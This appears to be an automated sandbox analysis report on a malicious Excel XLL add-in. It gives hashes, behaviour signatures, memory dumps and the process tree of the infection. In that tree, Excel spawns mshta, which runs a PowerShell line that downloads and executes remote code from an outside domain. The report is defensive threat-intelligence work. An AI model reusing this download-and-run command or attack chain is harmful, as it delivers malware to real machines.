Analysis

  • max time kernel
    101s
  • max time network
    124s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240426-en
  • resource tags

    arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    22-05-2024 18:53

General

  • Target

    095b3961d3f4977dcf2dc20e08fce560efb301be1614d41e29607a4179226aa5.xll

  • Size

    12KB

  • MD5

    e0dd8486e53842574ab48c83eff4a54d

  • SHA1

    840932d4ee8d7d3545b777adf5741bed53d19d01

  • SHA256

    095b3961d3f4977dcf2dc20e08fce560efb301be1614d41e29607a4179226aa5

  • SHA512

    e7c4d7b4d7e50ae94a140a7ca8a3b440d59bd7a85784b59304a0b640b40a5c7a2ad0e0cb7167f9dcb9f09683975e6917da63cd7032af6b56b04936d373197704

  • SSDEEP

    192:2L29RBzDzeobchBj8JONauONsgrNzruqrEPEjr7Ah7e:Y29jnbcvYJOExJrNfuqvr7CS

Score
10/10

Malware Config

Extracted

Language
xlm4.0
Source

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\095b3961d3f4977dcf2dc20e08fce560efb301be1614d41e29607a4179226aa5.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1496
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2720
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1480

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\PCRE1VQT\d[1].htm

    Filesize

    2KB

    MD5

    f754844cfb65838d1dd6b19dde5d835c

    SHA1

    b3eb677783adc88c8d048898449e04d49f416db6

    SHA256

    3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

    SHA512

    f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

  • C:\Users\Admin\AppData\Local\Temp\095b3961d3f4977dcf2dc20e08fce560efb301be1614d41e29607a4179226aa5.xll

    Filesize

    12KB

    MD5

    e0dd8486e53842574ab48c83eff4a54d

    SHA1

    840932d4ee8d7d3545b777adf5741bed53d19d01

    SHA256

    095b3961d3f4977dcf2dc20e08fce560efb301be1614d41e29607a4179226aa5

    SHA512

    e7c4d7b4d7e50ae94a140a7ca8a3b440d59bd7a85784b59304a0b640b40a5c7a2ad0e0cb7167f9dcb9f09683975e6917da63cd7032af6b56b04936d373197704

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m5e0w3jg.zv5.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1480-61-0x0000000006360000-0x00000000063AC000-memory.dmp

    Filesize

    304KB

  • memory/1480-60-0x0000000006320000-0x000000000633E000-memory.dmp

    Filesize

    120KB

  • memory/1480-59-0x0000000005E50000-0x00000000061A7000-memory.dmp

    Filesize

    3.3MB

  • memory/1480-62-0x0000000007980000-0x0000000007FFA000-memory.dmp

    Filesize

    6.5MB

  • memory/1480-50-0x0000000005DE0000-0x0000000005E46000-memory.dmp

    Filesize

    408KB

  • memory/1480-49-0x0000000005D70000-0x0000000005DD6000-memory.dmp

    Filesize

    408KB

  • memory/1480-48-0x00000000054A0000-0x00000000054C2000-memory.dmp

    Filesize

    136KB

  • memory/1480-47-0x0000000005740000-0x0000000005D6A000-memory.dmp

    Filesize

    6.2MB

  • memory/1480-46-0x0000000002B00000-0x0000000002B36000-memory.dmp

    Filesize

    216KB

  • memory/1480-63-0x0000000006840000-0x000000000685A000-memory.dmp

    Filesize

    104KB

  • memory/1496-10-0x00007FFCA1EE0000-0x00007FFCA20E9000-memory.dmp

    Filesize

    2.0MB

  • memory/1496-8-0x00007FFCA1EE0000-0x00007FFCA20E9000-memory.dmp

    Filesize

    2.0MB

  • memory/1496-17-0x00007FFCA1EE0000-0x00007FFCA20E9000-memory.dmp

    Filesize

    2.0MB

  • memory/1496-18-0x00007FFCA1EE0000-0x00007FFCA20E9000-memory.dmp

    Filesize

    2.0MB

  • memory/1496-20-0x00007FFCA1EE0000-0x00007FFCA20E9000-memory.dmp

    Filesize

    2.0MB

  • memory/1496-22-0x00007FFCA1EE0000-0x00007FFCA20E9000-memory.dmp

    Filesize

    2.0MB

  • memory/1496-21-0x00007FFCA1EE0000-0x00007FFCA20E9000-memory.dmp

    Filesize

    2.0MB

  • memory/1496-19-0x00007FFCA1EE0000-0x00007FFCA20E9000-memory.dmp

    Filesize

    2.0MB

  • memory/1496-14-0x00007FFC5F870000-0x00007FFC5F880000-memory.dmp

    Filesize

    64KB

  • memory/1496-12-0x00007FFCA1EE0000-0x00007FFCA20E9000-memory.dmp

    Filesize

    2.0MB

  • memory/1496-16-0x00007FFCA1EE0000-0x00007FFCA20E9000-memory.dmp

    Filesize

    2.0MB

  • memory/1496-13-0x00007FFCA1EE0000-0x00007FFCA20E9000-memory.dmp

    Filesize

    2.0MB

  • memory/1496-9-0x00007FFCA1EE0000-0x00007FFCA20E9000-memory.dmp

    Filesize

    2.0MB

  • memory/1496-0-0x00007FFC61F70000-0x00007FFC61F80000-memory.dmp

    Filesize

    64KB

  • memory/1496-11-0x00007FFCA1EE0000-0x00007FFCA20E9000-memory.dmp

    Filesize

    2.0MB

  • memory/1496-15-0x00007FFCA1EE0000-0x00007FFCA20E9000-memory.dmp

    Filesize

    2.0MB

  • memory/1496-7-0x00007FFC5F870000-0x00007FFC5F880000-memory.dmp

    Filesize

    64KB

  • memory/1496-6-0x00007FFCA1EE0000-0x00007FFCA20E9000-memory.dmp

    Filesize

    2.0MB

  • memory/1496-1-0x00007FFC61F70000-0x00007FFC61F80000-memory.dmp

    Filesize

    64KB

  • memory/1496-4-0x00007FFCA1F83000-0x00007FFCA1F84000-memory.dmp

    Filesize

    4KB

  • memory/1496-5-0x00007FFC61F70000-0x00007FFC61F80000-memory.dmp

    Filesize

    64KB

  • memory/1496-2-0x00007FFC61F70000-0x00007FFC61F80000-memory.dmp

    Filesize

    64KB

  • memory/1496-3-0x00007FFC61F70000-0x00007FFC61F80000-memory.dmp

    Filesize

    64KB

  • memory/1496-69-0x00007FFCA1EE0000-0x00007FFCA20E9000-memory.dmp

    Filesize

    2.0MB

  • memory/1496-71-0x00007FFCA1EE0000-0x00007FFCA20E9000-memory.dmp

    Filesize

    2.0MB

  • memory/1496-87-0x00007FFC61F70000-0x00007FFC61F80000-memory.dmp

    Filesize

    64KB

  • memory/1496-89-0x00007FFC61F70000-0x00007FFC61F80000-memory.dmp

    Filesize

    64KB

  • memory/1496-90-0x00007FFC61F70000-0x00007FFC61F80000-memory.dmp

    Filesize

    64KB

  • memory/1496-88-0x00007FFC61F70000-0x00007FFC61F80000-memory.dmp

    Filesize

    64KB

  • memory/1496-91-0x00007FFCA1EE0000-0x00007FFCA20E9000-memory.dmp

    Filesize

    2.0MB